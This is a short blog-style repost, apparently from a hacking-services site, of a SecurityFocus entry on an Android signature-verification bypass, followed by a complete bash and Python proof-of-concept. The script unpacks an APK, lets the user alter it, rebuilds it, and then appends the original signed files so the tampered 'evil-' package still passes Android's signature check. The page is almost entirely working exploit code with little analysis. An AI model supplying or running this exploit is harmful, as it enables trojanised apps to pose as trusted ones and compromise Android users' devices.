Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86381659

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#source: https://www.securityfocus.com/bid/60952/info
#
#Google Android is prone to a remote security-bypass vulnerability.
#
#Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks. 

#!/bin/bash
# PoC for Android bug 8219321 by @pof
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602
if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi
APK=$1
rm -r out out.apk tmp 2>/dev/null
java -jar apktool.jar d $APK out
#apktool d $APK out
echo "Modify files, when done type 'exit'"
cd out
bash
cd ..
java -jar apktool.jar b out out.apk
#apktool b out out.apk
mkdir tmp
cd tmp/
unzip ../$APK
mv ../out.apk .
cat >poc.py <<-EOF
#!/usr/bin/python
import zipfile
import sys
z = zipfile.ZipFile(sys.argv[1], "a")
z.write(sys.argv[2])
z.close()
EOF
chmod 755 poc.py
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done
cp out.apk ../evil-$APK
cd ..
rm -rf tmp out
echo "Modified APK: evil-$APK"